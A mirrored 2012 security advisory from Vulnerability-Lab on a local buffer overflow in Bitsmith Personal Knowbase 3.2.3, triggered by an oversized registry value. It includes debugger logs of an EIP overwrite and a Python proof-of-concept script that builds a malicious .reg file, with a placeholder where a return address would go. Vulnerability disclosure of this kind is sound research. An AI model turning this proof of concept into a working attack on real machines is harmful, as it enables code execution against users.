Bitsmith PS Knowbase 3.2.3 – Local Buffer Overflow

Exploit Database
107 阅读

作者： Vulnerability-Lab

日期： 2012-03-30
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18681/

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Title:

======

Bitsmith PS Knowbase 3.2.3 - Buffer Overflow Vulnerability

Date:

=====

2012-03-29

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=474

VL-ID:

=====

474

Introduction:

=============

Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base

of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you

choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any

computerized information using the same set of keywords.

�Reduce paper clutter.

�Save hard disk space by consolidating small text files.

�Gather related information together.

�Find your information easily.

�Protect your private information with passwords.

�Cross-reference your notes with hypertext links.

(Copy of the Vendor Homepage: http://www.bitsmithsoft.com/ )

Abstract:

=========

A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3.

Report-Timeline:

================

2012-03-14: Vendor Notification 1

2012-03-16: Vendor Notification 2

2012-03-20: Vendor Notification 3

2012-03-30: Public or Non-Public Disclosure

Status:

========

Published

Affected Products:

==================

Bitsmith

Product: Personal Knowbase v3.2.3

Exploitation-Technique:

=======================

Local

Severity:

=========

High

Details:

========

A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3.

The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry valueKnowbase Data

within the Key[HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories]results in a

local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry

value and has to trick the victim to open and cancel theFileOpen dialogue.

Vulnerable Module(s):

[+] knowbase.exe

---Debugger Logs---

# 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844)

# Registers:

# EAX 00000000

# ECX 41414141

# EDX 005716E8 knowbase.005716E8

# EBX 00000001

# ESP 0012F730 ASCII <code></code>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<code>

# EBP 0012F738 ASCII <code></code>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC<code>

# ESI 00527DF8 knowbase.00527DF8

# EDI 00570BC8 knowbase.00570BC8

# EIP 41414141

# Stack:

# 0012F724 41414141AAAA

# 0012F728 FFFFFFFF

# 0012F72C 42424242BBBB

# 0012F730 43434343CCCC

# 0012F734 43434343CCCC

# 0012F738 43434343CCCC

# 0012F73C 43434343CCCC

# Dump:

# 0012F71041 41 41 41 41 41 41 41AAAAAAAA

# 0012F71841 41 41 41 41 41 41 41AAAAAAAA

# 0012F72041 41 41 41 41 41 41 41AAAAAAAA

# 0012F728FF FF FF FF 42 42 42 42BBBB

# 0012F73043 43 43 43 43 43 43 43CCCCCCCC

# 0012F73843 43 43 43 43 43 43 43CCCCCCCC

# 0012F74043 43 43 43 43 43 43 43CCCCCCCC

Picture(s):

../1.png

Proof of Concept:

=================

The vulnerability can be exploited by local attackers. Successful exploitation requires user inter actionby clicking the dialog

file open or cancel. For demonstration or reproduce ...

#!/usr/bin/python

# Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow

# Version: 3.2.3

# Tested on: Windows XP SP3 Professional German

# Howto: Import Reg -> Start App -> Open File --> Cancel

file="poc.reg"

junk1="\x41" * 272

boom="\x42\x42\x42\x42"

junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"

poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n"

poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\""

try:

print "[*] Creating exploit file...\n";

writeFile = open (file, "w")

writeFile.write( poc )

writeFile.close()

print "[*] File successfully created!";

except:

print "[!] Error while creating file!";

Risk:

=====

The security risk of the local buffer overflow vulnerability is estimated as high(-).

Credits:

========

Vulnerability Research Laboratory -Julien Ahrens(MrTuxracer)[www.inshell.net]

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-

Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of

other media, are reserved by Vulnerability-Lab or its suppliers.

VULNERABILITY RESEARCH LABORATORY TEAM

Website: www.vulnerability-lab.com

Mail: research@vulnerability-lab.com